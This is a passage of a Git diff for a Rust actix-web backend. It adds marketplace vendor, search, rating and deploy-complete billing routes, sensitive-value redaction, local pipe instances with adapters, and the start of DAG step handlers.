+            &update.provider,
+            &update.account_ref,
+            &format!("{}_webhook", update.event_type),
+            update.payouts_enabled,
+        )
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+    }
+
+    Ok(JsonResponse::<serde_json::Value>::build().ok("Webhook processed"))
+}
diff --git a/src/routes/marketplace/public.rs b/src/routes/marketplace/public.rs
index 257899af..532f5ab0 100644
--- a/src/routes/marketplace/public.rs
+++ b/src/routes/marketplace/public.rs
@@ -1,6 +1,12 @@
+use std::sync::Arc;
+
+use crate::configuration::Settings;
+use crate::connectors::user_service::UserServiceConnector;
 use crate::db;
+use crate::helpers::redact::{redact_sensitive_json_values, redact_yaml_string};
 use crate::helpers::JsonResponse;
-use actix_web::{get, web, HttpResponse, Responder, Result};
+use crate::models;
+use actix_web::{get, post, web, HttpRequest, HttpResponse, Responder, Result};
 use sqlx::PgPool;
 
 #[tracing::instrument(name = "List approved templates (public)", skip_all)]
@@ -11,9 +17,11 @@ pub async fn list_handler(
 ) -> Result<impl Responder> {
     let category = query.category.as_deref();
     let tag = query.tag.as_deref();
+    let search = query.q.as_deref();
     let sort = query.sort.as_deref();
+    let limit = query.limit.map(i64::from);
 
-    db::marketplace::list_approved(pg_pool.get_ref(), category, tag, sort)
+    db::marketplace::list_approved(pg_pool.get_ref(), category, tag, search, sort, limit)
         .await
         .map_err(|err| {
             JsonResponse::<Vec<crate::models::StackTemplate>>::build().internal_server_error(err)
@@ -123,10 +131,7 @@ pub async fn download_stack_handler(
         .content_type("application/gzip")
         .insert_header((
             "Content-Disposition",
-            format!(
-                "attachment; filename=\"stack-{}.tar.gz\"",
-                purchase_token
-            ),
+            format!("attachment; filename=\"stack-{}.tar.gz\"", purchase_token),
         ))
         .body("stack archive placeholder"))
 }
@@ -135,9 +140,256 @@ pub async fn download_stack_handler(
 pub struct TemplateListQuery {
     pub category: Option<String>,
     pub tag: Option<String>,
+    pub q: Option<String>,
+    pub sort: Option<String>, // recent|popular|rating
+    pub limit: Option<u32>,
+}
+
+#[derive(Debug, serde::Deserialize)]
+pub struct VendorPageQuery {
     pub sort: Option<String>, // recent|popular|rating
 }
 
+#[tracing::instrument(name = "Get public vendor page", skip_all)]
+#[get("/{vendor}")]
+pub async fn vendor_detail_handler(
+    path: web::Path<(String,)>,
+    query: web::Query<VendorPageQuery>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let identifier = path.into_inner().0;
+    let vendor = db::marketplace::get_public_vendor_profile(pg_pool.get_ref(), &identifier)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| JsonResponse::<serde_json::Value>::build().not_found("Vendor not found"))?;
+
+    let templates = db::marketplace::list_approved_by_creator(
+        pg_pool.get_ref(),
+        &vendor.creator_user_id,
+        query.sort.as_deref(),
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+
+    Ok(JsonResponse::build()
+        .set_item(models::PublicVendorPage { vendor, templates })
+        .ok("OK"))
+}
+
+#[derive(Debug, serde::Deserialize)]
+pub struct DeployCompleteRequest {
+    pub deployment_hash: String,
+    pub purchase_token: String,
+    pub server_ip: Option<String>,
+    pub stack_id: String,
+}
+
+#[derive(Debug, serde::Deserialize)]
+struct PurchaseTokenValidationResponse {
+    valid: bool,
+    stack_id: Option<String>,
+}
+
+#[derive(Debug, serde::Serialize)]
+struct DeployCompleteResponse {
+    success: bool,
+    template_id: String,
+    deployment_hash: String,
+    deploy_count_incremented: bool,
+}
+
+fn require_stacker_service_auth(req: &HttpRequest) -> Result<()> {
+    let expected_token = std::env::var("STACKER_SERVICE_TOKEN").unwrap_or_default();
+    if expected_token.trim().is_empty() {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .internal_server_error("STACKER_SERVICE_TOKEN is not configured"));
+    }
+
+    let expected_bearer = format!("Bearer {}", expected_token);
+    let actual_service_header = req
+        .headers()
+        .get("x-stacker-service-token")
+        .and_then(|value| value.to_str().ok())
+        .unwrap_or("");
+    let actual_header = req
+        .headers()
+        .get(actix_web::http::header::AUTHORIZATION)
+        .and_then(|value| value.to_str().ok())
+        .unwrap_or("");
+
+    if actual_service_header != expected_token && actual_header != expected_bearer {
+        return Err(JsonResponse::<serde_json::Value>::build().forbidden("Invalid service token"));
+    }
+
+    Ok(())
+}
+
+async fn validate_purchase_token_with_user_service(
+    settings: &Settings,
+    purchase_token: &str,
+) -> Result<PurchaseTokenValidationResponse> {
+    let service_token = std::env::var("STACKER_SERVICE_TOKEN").unwrap_or_default();
+    let endpoint = format!(
+        "{}/marketplace/purchase-token/validate",
+        settings.user_service_url.trim_end_matches('/')
+    );
+
+    let response = reqwest::Client::new()
+        .post(endpoint)
+        .bearer_auth(service_token)
+        .json(&serde_json::json!({ "token": purchase_token }))
+        .send()
+        .await
+        .map_err(|err| {
+            tracing::error!("purchase-token validation request failed: {:?}", err);
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Purchase token validation request failed")
+        })?;
+
+    if !response.status().is_success() {
+        tracing::warn!(
+            "purchase-token validation rejected by User Service: status={}",
+            response.status()
+        );
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .forbidden("Purchase token validation failed"));
+    }
+
+    let payload = response
+        .json::<PurchaseTokenValidationResponse>()
+        .await
+        .map_err(|err| {
+            tracing::error!(
+                "purchase-token validation response decode failed: {:?}",
+                err
+            );
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Invalid purchase token validation response")
+        })?;
+
+    if !payload.valid {
+        return Err(
+            JsonResponse::<serde_json::Value>::build().forbidden("Purchase token is not valid")
+        );
+    }
+
+    Ok(payload)
+}
+
+#[tracing::instrument(name = "Marketplace deploy complete callback", skip_all)]
+#[post("/deploy-complete")]
+pub async fn deploy_complete_handler(
+    req: HttpRequest,
+    body: web::Json<DeployCompleteRequest>,
+    pg_pool: web::Data<PgPool>,
+    settings: web::Data<Settings>,
+    user_service: web::Data<Arc<dyn UserServiceConnector>>,
+) -> Result<impl Responder> {
+    require_stacker_service_auth(&req)?;
+
+    let payload = body.into_inner();
+    tracing::info!(
+        deployment_hash = %payload.deployment_hash,
+        stack_id = %payload.stack_id,
+        server_ip = ?payload.server_ip,
+        "marketplace deploy-complete callback received"
+    );
+    if payload.deployment_hash.trim().is_empty()
+        || payload.purchase_token.trim().is_empty()
+        || payload.stack_id.trim().is_empty()
+    {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("deployment_hash, purchase_token, and stack_id are required"));
+    }
+
+    let validation =
+        validate_purchase_token_with_user_service(settings.get_ref(), &payload.purchase_token)
+            .await?;
+    let validated_stack_id = validation.stack_id.unwrap_or_default();
+    if validated_stack_id != payload.stack_id {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .forbidden("stack_id does not match the validated purchase token"));
+    }
+
+    let template_id = uuid::Uuid::parse_str(&validated_stack_id)
+        .map_err(|_| JsonResponse::<serde_json::Value>::build().bad_request("Invalid stack_id"))?;
+    let deploy_count_incremented = db::marketplace::record_deploy_complete_once(
+        pg_pool.get_ref(),
+        &template_id,
+        &payload.deployment_hash,
+        payload.server_ip.as_deref(),
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?;
+
+    let Some(deploy_count_incremented) = deploy_count_incremented else {
+        return Err(
+            JsonResponse::<serde_json::Value>::build().not_found("Marketplace template not found")
+        );
+    };
+
+    // Per-install billing: capture the previously-authorized charge now that
+    // the deploy has confirmed successful. Lookup is by deployment_hash on the
+    // authorization row (populated at install time); non-per_install rows
+    // simply won't match and this becomes a no-op. Non-fatal on capture
+    // failure — the sweeper reconciles stragglers.
+    match db::marketplace_billing::find_by_deployment_hash(
+        pg_pool.get_ref(),
+        &payload.deployment_hash,
+    )
+    .await
+    {
+        Ok(Some(auth_row)) if auth_row.status == "authorized" => {
+            let service_token = std::env::var("STACKER_SERVICE_TOKEN").unwrap_or_default();
+            match user_service
+                .capture_install_charge(
+                    &service_token,
+                    &auth_row.authorization_id,
+                    &payload.deployment_hash,
+                )
+                .await
+            {
+                Ok(_handle) => {
+                    if let Err(err) = db::marketplace_billing::mark_captured(
+                        pg_pool.get_ref(),
+                        &auth_row.authorization_id,
+                    )
+                    .await
+                    {
+                        tracing::warn!(
+                            "mark_captured DB write failed for {}: {}",
+                            auth_row.authorization_id,
+                            err
+                        );
+                    }
+                }
+                Err(err) => tracing::warn!(
+                    "capture_install_charge failed for {} (deploy already succeeded, sweeper will retry): {}",
+                    auth_row.authorization_id,
+                    err
+                ),
+            }
+        }
+        Ok(_) => {} // no per_install authorization for this deployment
+        Err(err) => tracing::warn!(
+            "find_by_deployment_hash failed for {}: {}",
+            payload.deployment_hash,
+            err
+        ),
+    }
+
+    let response = DeployCompleteResponse {
+        success: true,
+        template_id: template_id.to_string(),
+        deployment_hash: payload.deployment_hash,
+        deploy_count_incremented,
+    };
+
+    Ok(JsonResponse::build()
+        .set_item(response)
+        .ok("Deploy complete processed"))
+}
+
 #[tracing::instrument(name = "Get template by slug (public)", skip_all)]
 #[get("/{slug}")]
 pub async fn detail_handler(
@@ -148,14 +400,65 @@ pub async fn detail_handler(
 
     match db::marketplace::get_by_slug_with_latest(pg_pool.get_ref(), &slug).await {
         Ok((template, version)) => {
+            // Increment view_count when template is viewed
+            let _ = db::marketplace::increment_view_count(pg_pool.get_ref(), &template.id).await;
+
             let mut payload = serde_json::json!({
                 "template": template,
             });
-            if let Some(ver) = version {
+            if let Some(mut ver) = version {
+                if ver.definition_format.as_deref() == Some("yaml") {
+                    if let serde_json::Value::String(yaml) = &ver.stack_definition {
+                        ver.stack_definition = serde_json::Value::String(redact_yaml_string(yaml));
+                    }
+                } else {
+                    redact_sensitive_json_values(&mut ver.stack_definition);
+                }
                 payload["latest_version"] = serde_json::to_value(ver).unwrap();
             }
             Ok(JsonResponse::build().set_item(Some(payload)).ok("OK"))
         }
-        Err(err) => Err(JsonResponse::<serde_json::Value>::build().not_found(err)),
+        Err(db::marketplace::SlugLookupError::Internal) => {
+            Err(JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Internal Server Error"))
+        }
+        Err(db::marketplace::SlugLookupError::NotFound) => {
+            Err(JsonResponse::<serde_json::Value>::build()
+                .not_found(format!("Template '{}' not found", slug)))
+        }
     }
 }
+
+/// Increment view_count for a marketplace template
+#[tracing::instrument(name = "Increment template view count", skip_all)]
+#[get("/{id}/increment-view-count")]
+pub async fn increment_view_count_handler(
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let template_id_str = path.into_inner().0;
+    let template_id = uuid::Uuid::parse_str(&template_id_str)
+        .map_err(|_| JsonResponse::<serde_json::Value>::build().bad_request("Invalid UUID"))?;
+
+    db::marketplace::increment_view_count(pg_pool.get_ref(), &template_id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))
+        .map(|_| JsonResponse::<serde_json::Value>::build().ok("View count incremented"))
+}
+
+/// Increment deploy_count for a marketplace template
+#[tracing::instrument(name = "Increment template deploy count", skip_all)]
+#[get("/{id}/increment-deploy-count")]
+pub async fn increment_deploy_count_handler(
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let template_id_str = path.into_inner().0;
+    let template_id = uuid::Uuid::parse_str(&template_id_str)
+        .map_err(|_| JsonResponse::<serde_json::Value>::build().bad_request("Invalid UUID"))?;
+
+    db::marketplace::increment_deploy_count(pg_pool.get_ref(), &template_id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))
+        .map(|_| JsonResponse::<serde_json::Value>::build().ok("Deploy count incremented"))
+}
diff --git a/src/routes/marketplace/search.rs b/src/routes/marketplace/search.rs
new file mode 100644
index 00000000..45648f57
--- /dev/null
+++ b/src/routes/marketplace/search.rs
@@ -0,0 +1,116 @@
+use std::collections::HashMap;
+use std::sync::Arc;
+
+use actix_web::{get, web, Responder, Result};
+use sqlx::PgPool;
+
+use crate::connectors::user_service::UserServiceConnector;
+use crate::helpers::JsonResponse;
+use crate::models;
+
+#[derive(Debug, serde::Deserialize)]
+pub struct ApplicationSearchQuery {
+    pub q: Option<String>,
+    pub category: Option<String>,
+    pub is_marketplace: Option<bool>,
+    pub page: Option<u32>,
+    pub limit: Option<u32>,
+}
+
+#[derive(Debug, sqlx::FromRow)]
+struct TemplatePricing {
+    slug: String,
+    price: Option<f64>,
+    billing_cycle: Option<String>,
+    required_plan_name: Option<String>,
+    creator_name: Option<String>,
+}
+
+async fn enrich_items_with_pricing(pg_pool: &PgPool, items: &mut [serde_json::Value]) {
+    let slugs: Vec<String> = items
+        .iter()
+        .filter_map(|item| {
+            item.get("code")
+                .and_then(|v| v.as_str())
+                .map(|s| s.to_string())
+        })
+        .collect();
+
+    if slugs.is_empty() {
+        return;
+    }
+
+    let pricing = sqlx::query_as::<_, TemplatePricing>(
+        r#"
+        SELECT slug, price, billing_cycle, required_plan_name, creator_name
+        FROM stack_template
+        WHERE slug = ANY($1) AND status = 'approved'
+        "#,
+    )
+    .bind(&slugs)
+    .fetch_all(pg_pool)
+    .await;
+
+    let pricing_map: HashMap<String, TemplatePricing> = match pricing {
+        Ok(rows) => rows.into_iter().map(|r| (r.slug.clone(), r)).collect(),
+        Err(e) => {
+            tracing::warn!("Failed to fetch template pricing: {}", e);
+            return;
+        }
+    };
+
+    for item in items.iter_mut() {
+        let slug = match item.get("code").and_then(|v| v.as_str()) {
+            Some(s) => s,
+            None => continue,
+        };
+        if let Some(p) = pricing_map.get(slug) {
+            if let Some(price) = p.price {
+                item["price"] = serde_json::json!(price);
+            }
+            if let Some(ref cycle) = p.billing_cycle {
+                item["billing_cycle"] = serde_json::json!(cycle);
+            }
+            if let Some(ref plan) = p.required_plan_name {
+                item["required_plan_name"] = serde_json::json!(plan);
+            }
+            if let Some(ref creator) = p.creator_name {
+                item["creator_name"] = serde_json::json!(creator);
+            }
+        }
+    }
+}
+
+#[tracing::instrument(name = "Search marketplace applications catalog", skip_all)]
+#[get("/applications")]
+pub async fn applications_search_handler(
+    query: web::Query<ApplicationSearchQuery>,
+    user: web::ReqData<Arc<models::User>>,
+    user_service: web::Data<Arc<dyn UserServiceConnector>>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let token = user.access_token.as_deref().ok_or_else(|| {
+        JsonResponse::<serde_json::Value>::build()
+            .forbidden("User token is required to search applications")
+    })?;
+
+    let mut items = user_service
+        .search_marketplace_templates(
+            token,
+            query.q.as_deref(),
+            query.category.as_deref(),
+            query.is_marketplace,
+            query.page,
+            query.limit,
+        )
+        .await
+        .map_err(|err| {
+            tracing::error!("Applications catalog search failed: {:?}", err);
+            JsonResponse::<serde_json::Value>::build()
+                .internal_server_error("Applications catalog search failed")
+        })?;
+
+    enrich_items_with_pricing(pg_pool.get_ref(), &mut items).await;
+
+    Ok(JsonResponse::build().set_list(items).ok("OK"))
+}
diff --git a/src/routes/marketplace/template_rating.rs b/src/routes/marketplace/template_rating.rs
new file mode 100644
index 00000000..9a6c3386
--- /dev/null
+++ b/src/routes/marketplace/template_rating.rs
@@ -0,0 +1,116 @@
+use crate::db;
+use crate::helpers::JsonResponse;
+use crate::models;
+use actix_web::{delete, get, put, web, Responder, Result};
+use sqlx::PgPool;
+use std::sync::Arc;
+
+#[derive(Debug, serde::Deserialize)]
+pub struct TemplateRatingRequest {
+    pub rating: i32,
+    pub comment: Option<String>,
+}
+
+fn parse_template_id(raw: &str) -> Result<uuid::Uuid> {
+    uuid::Uuid::parse_str(raw).map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))
+}
+
+fn validate_template_rating_request(req: &TemplateRatingRequest) -> Result<()> {
+    if !(1..=5).contains(&req.rating) {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("rating must be between 1 and 5"));
+    }
+
+    if req
+        .comment
+        .as_ref()
+        .map(|comment| comment.chars().count() > 1000)
+        .unwrap_or(false)
+    {
+        return Err(JsonResponse::<serde_json::Value>::build()
+            .bad_request("comment must be at most 1000 characters"));
+    }
+
+    Ok(())
+}
+
+#[tracing::instrument(name = "Get public template rating summary", skip_all)]
+#[get("/{id}/rating/summary")]
+pub async fn summary_handler(
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let template_id = parse_template_id(&path.into_inner().0)?;
+
+    let summary = db::rating::template_summary(pg_pool.get_ref(), &template_id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| {
+            JsonResponse::<serde_json::Value>::build().not_found("Template not found")
+        })?;
+
+    Ok(JsonResponse::build().set_item(summary).ok("OK"))
+}
+
+#[tracing::instrument(name = "Get my template rating", skip_all)]
+#[get("/{id}/rating/me")]
+pub async fn my_rating_handler(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let template_id = parse_template_id(&path.into_inner().0)?;
+
+    let rating =
+        db::rating::fetch_template_rating_for_user(pg_pool.get_ref(), &template_id, &user.id)
+            .await
+            .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+            .ok_or_else(|| {
+                JsonResponse::<serde_json::Value>::build().not_found("Rating not found")
+            })?;
+
+    Ok(JsonResponse::build().set_item(rating).ok("OK"))
+}
+
+#[tracing::instrument(name = "Upsert my template rating", skip_all)]
+#[put("/{id}/rating")]
+pub async fn upsert_handler(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+    body: web::Json<TemplateRatingRequest>,
+) -> Result<impl Responder> {
+    let template_id = parse_template_id(&path.into_inner().0)?;
+    let req = body.into_inner();
+    validate_template_rating_request(&req)?;
+
+    let rating = db::rating::upsert_template_rating_for_user(
+        pg_pool.get_ref(),
+        &template_id,
+        &user.id,
+        req.rating,
+        req.comment,
+    )
+    .await
+    .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+    .ok_or_else(|| JsonResponse::<serde_json::Value>::build().not_found("Template not found"))?;
+
+    Ok(JsonResponse::build().set_item(rating).ok("OK"))
+}
+
+#[tracing::instrument(name = "Delete my template rating", skip_all)]
+#[delete("/{id}/rating")]
+pub async fn delete_handler(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(String,)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let template_id = parse_template_id(&path.into_inner().0)?;
+
+    db::rating::hide_template_rating_for_user(pg_pool.get_ref(), &template_id, &user.id)
+        .await
+        .map_err(|err| JsonResponse::<serde_json::Value>::build().internal_server_error(err))?
+        .ok_or_else(|| JsonResponse::<serde_json::Value>::build().not_found("Rating not found"))?;
+
+    Ok(JsonResponse::<serde_json::Value>::build().ok("Rating deleted"))
+}
diff --git a/src/routes/mod.rs b/src/routes/mod.rs
index 16ba90b9..4f26dc3a 100644
--- a/src/routes/mod.rs
+++ b/src/routes/mod.rs
@@ -3,11 +3,13 @@ pub mod client;
 pub(crate) mod command;
 pub(crate) mod deployment;
 pub(crate) mod dockerhub;
+pub(crate) mod handoff;
 pub mod health_checks;
+pub(crate) mod legacy_installations;
 pub(crate) mod rating;
 pub(crate) mod test;
 
-pub use health_checks::{health_check, health_metrics};
+pub use health_checks::{health_check, health_metrics, prometheus_metrics};
 pub(crate) mod cloud;
 pub(crate) mod project;
 pub(crate) mod server;
@@ -22,12 +24,14 @@ pub(crate) mod pipe;
 
 pub use agreement::*;
 pub use deployment::{
-    DeploymentListQuery, DeploymentStatusResponse, capabilities_handler, force_complete_handler,
-    list_handler, status_by_project_handler, status_handler,
+    capabilities_handler, events_handler, force_complete_handler, list_handler, plan_handler,
+    state_handler, status_by_project_handler, status_handler, DeploymentListQuery,
+    DeploymentStatusResponse,
 };
 pub use marketplace::{
-    AdminDecisionRequest, CreateTemplateRequest, ResubmitRequest, TemplateListQuery,
-    UpdateTemplateRequest, UnapproveRequest, approve_handler, create_handler, list_plans_handler,
-    list_submitted_handler, mine_handler, my_reviews_handler, reject_handler, resubmit_handler,
-    security_scan_handler, submit_handler, unapprove_handler, update_handler,
+    analytics_handler, approve_handler, create_handler, list_plans_handler, list_submitted_handler,
+    mine_handler, my_reviews_handler, reject_handler, resubmit_handler, security_scan_handler,
+    submit_handler, unapprove_handler, update_handler, AdminDecisionRequest, AnalyticsQuery,
+    ApplicationSearchQuery, CreateTemplateRequest, InstallTemplateRequest, InstallTemplateResponse,
+    ResubmitRequest, TemplateListQuery, UnapproveRequest, UpdateTemplateRequest,
 };
diff --git a/src/routes/pipe/create.rs b/src/routes/pipe/create.rs
index 8d92af2c..baa36720 100644
--- a/src/routes/pipe/create.rs
+++ b/src/routes/pipe/create.rs
@@ -2,6 +2,7 @@ use crate::db;
 use crate::helpers::JsonResponse;
 use crate::models::{PipeInstance, PipeTemplate, User};
 use actix_web::{post, web, Responder, Result};
+use pipe_adapter_sdk::PipeAdapterReference;
 use serde::Deserialize;
 use serde_json::Value as JsonValue;
 use sqlx::PgPool;
@@ -27,9 +28,14 @@ pub struct CreatePipeTemplateRequest {
 
 #[derive(Debug, Deserialize)]
 pub struct CreatePipeInstanceRequest {
-    pub deployment_hash: String,
+    #[serde(default)]
+    pub deployment_hash: Option<String>,
+    #[serde(default)]
+    pub source_adapter: Option<PipeAdapterReference>,
     pub source_container: String,
     #[serde(default)]
+    pub target_adapter: Option<PipeAdapterReference>,
+    #[serde(default)]
     pub target_container: Option<String>,
     #[serde(default)]
     pub target_url: Option<String>,
@@ -107,27 +113,38 @@ pub async fn create_instance_handler(
     req: web::Json<CreatePipeInstanceRequest>,
     pg_pool: web::Data<PgPool>,
 ) -> Result<impl Responder> {
-    if req.deployment_hash.trim().is_empty() {
-        return Err(JsonResponse::<()>::build().bad_request("deployment_hash is required"));
+    // Reject explicitly-provided but empty deployment_hash (distinct from omitting the field)
+    if let Some(hash) = &req.deployment_hash {
+        if hash.trim().is_empty() {
+            return Err(JsonResponse::<()>::build().bad_request("deployment_hash cannot be empty"));
+        }
     }
+
+    let deployment_hash = req
+        .deployment_hash
+        .as_deref()
+        .map(|h| h.trim())
+        .filter(|h| !h.is_empty());
+
     if req.source_container.trim().is_empty() {
         return Err(JsonResponse::<()>::build().bad_request("source_container is required"));
     }
-    if req.target_container.is_none() && req.target_url.is_none() {
+    if req.target_container.is_none() && req.target_url.is_none() && req.target_adapter.is_none() {
         return Err(JsonResponse::<()>::build()
-            .bad_request("either target_container or target_url is required"));
+            .bad_request("either target_container, target_url, or target_adapter is required"));
     }
 
-    // Verify deployment belongs to the requesting user
-    let deployment =
-        db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), req.deployment_hash.trim())
+    // For remote pipes, verify deployment belongs to the requesting user
+    if let Some(hash) = deployment_hash {
+        let deployment = db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), hash)
             .await
             .map_err(|err| JsonResponse::<()>::build().internal_server_error(err))?;
 
-    match &deployment {
-        Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
-        _ => {
-            return Err(JsonResponse::<()>::build().not_found("Deployment not found"));
+        match &deployment {
+            Some(d) if d.user_id.as_deref() == Some(&user.id) => {}
+            _ => {
+                return Err(JsonResponse::<()>::build().not_found("Deployment not found"));
+            }
         }
     }
 
@@ -144,15 +161,28 @@ pub async fn create_instance_handler(
         }
     }
 
-    let mut instance = PipeInstance::new(
-        req.deployment_hash.trim().to_string(),
-        req.source_container.trim().to_string(),
-        user.id.clone(),
-    );
+    let mut instance = match deployment_hash {
+        Some(hash) => PipeInstance::new(
+            hash.to_string(),
+            req.source_container.trim().to_string(),
+            user.id.clone(),
+        ),
+        None => PipeInstance::new_local(req.source_container.trim().to_string(), user.id.clone()),
+    };
 
     if let Some(template_id) = req.template_id {
         instance = instance.with_template(template_id);
     }
+    if let Some(adapter) = &req.source_adapter {
+        let adapter = serde_json::to_value(adapter)
+            .map_err(|err| JsonResponse::<()>::build().internal_server_error(err.to_string()))?;
+        instance = instance.with_source_adapter(adapter);
+    }
+    if let Some(adapter) = &req.target_adapter {
+        let adapter = serde_json::to_value(adapter)
+            .map_err(|err| JsonResponse::<()>::build().internal_server_error(err.to_string()))?;
+        instance = instance.with_target_adapter(adapter);
+    }
     if let Some(target) = &req.target_container {
         instance = instance.with_target_container(target.clone());
     }
@@ -175,7 +205,8 @@ pub async fn create_instance_handler(
 
     tracing::info!(
         instance_id = %saved.id,
-        deployment_hash = %saved.deployment_hash,
+        deployment_hash = ?saved.deployment_hash,
+        is_local = saved.is_local,
         "Pipe instance created by user {}",
         user.id
     );
diff --git a/src/routes/pipe/dag.rs b/src/routes/pipe/dag.rs
new file mode 100644
index 00000000..6eff9487
--- /dev/null
+++ b/src/routes/pipe/dag.rs
@@ -0,0 +1,492 @@
+use crate::db;
+use crate::helpers::JsonResponse;
+use crate::models::dag::{DagEdge, DagStep, VALID_STEP_TYPES};
+use crate::models::User;
+use crate::services::dag_executor;
+use actix_web::{delete, get, post, put, web, HttpResponse, Responder, Result};
+use serde::Deserialize;
+use serde_json::Value as JsonValue;
+use sqlx::PgPool;
+use std::sync::Arc;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Request types
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(Debug, Deserialize)]
+pub struct CreateStepRequest {
+    pub name: String,
+    pub step_type: String,
+    #[serde(default)]
+    pub step_order: Option<i32>,
+    #[serde(default = "default_config")]
+    pub config: JsonValue,
+}
+
+fn default_config() -> JsonValue {
+    serde_json::json!({})
+}
+
+#[derive(Debug, Deserialize)]
+pub struct UpdateStepRequest {
+    pub name: Option<String>,
+    pub config: Option<JsonValue>,
+    pub step_order: Option<i32>,
+}
+
+#[derive(Debug, Deserialize)]
+pub struct CreateEdgeRequest {
+    pub from_step_id: uuid::Uuid,
+    pub to_step_id: uuid::Uuid,
+    #[serde(default)]
+    pub condition: Option<JsonValue>,
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Helper: verify template ownership
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+async fn verify_template_owner(
+    pool: &PgPool,
+    template_id: &uuid::Uuid,
+    user: &User,
+) -> Result<(), actix_web::Error> {
+    let template = db::pipe::get_template(pool, template_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    match template {
+        Some(t) if t.created_by == user.id => Ok(()),
+        Some(_) => Err(JsonResponse::<String>::not_found("Pipe template not found")),
+        None => Err(JsonResponse::<String>::not_found("Pipe template not found")),
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Steps CRUD
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[tracing::instrument(name = "Add DAG step", skip_all)]
+#[post("/{template_id}/dag/steps")]
+pub async fn add_step_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    req: web::Json<CreateStepRequest>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<HttpResponse> {
+    let template_id = path.into_inner();
+    verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?;
+
+    if req.name.trim().is_empty() {
+        return Err(JsonResponse::<()>::build().bad_request("name is required"));
+    }
+    if !VALID_STEP_TYPES.contains(&req.step_type.as_str()) {
+        return Err(JsonResponse::<()>::build().bad_request(format!(
+            "Invalid step_type. Must be one of: {}",
+            VALID_STEP_TYPES.join(", ")
+        )));
+    }
+
+    let step = DagStep::new(
+        template_id,
+        req.name.clone(),
+        req.step_type.clone(),
+        req.config.clone(),
+    )
+    .with_order(req.step_order.unwrap_or(0));
+
+    let saved = db::dag::insert_step(pg_pool.get_ref(), &step)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    Ok(JsonResponse::build()
+        .set_item(Some(saved))
+        .created("DAG step created successfully"))
+}
+
+#[tracing::instrument(name = "List DAG steps", skip_all)]
+#[get("/{template_id}/dag/steps")]
+pub async fn list_steps_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<uuid::Uuid>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let template_id = path.into_inner();
+    verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?;
+
+    let steps = db::dag::list_steps(pg_pool.get_ref(), &template_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    Ok(JsonResponse::build()
+        .set_list(steps)
+        .ok("DAG steps listed successfully"))
+}
+
+#[tracing::instrument(name = "Get DAG step", skip_all)]
+#[get("/{template_id}/dag/steps/{step_id}")]
+pub async fn get_step_handler(
+    user: web::ReqData<Arc<User>>,
+    path: web::Path<(uuid::Uuid, uuid::Uuid)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let (template_id, step_id) = path.into_inner();
+    verify_template_owner(pg_pool.get_ref(), &template_id, &user).await?;
+
+    let step = db::dag::get_step(pg_pool.get_ref(), &step_id)
+        .await
+        .map_err(|err| JsonResponse::<String>::internal_server_error(err))?;
+
+    match step {
+        Some(s) if s.pipe_template_id == template_id => Ok(JsonResponse::build()
+            .set_item(Some(s))
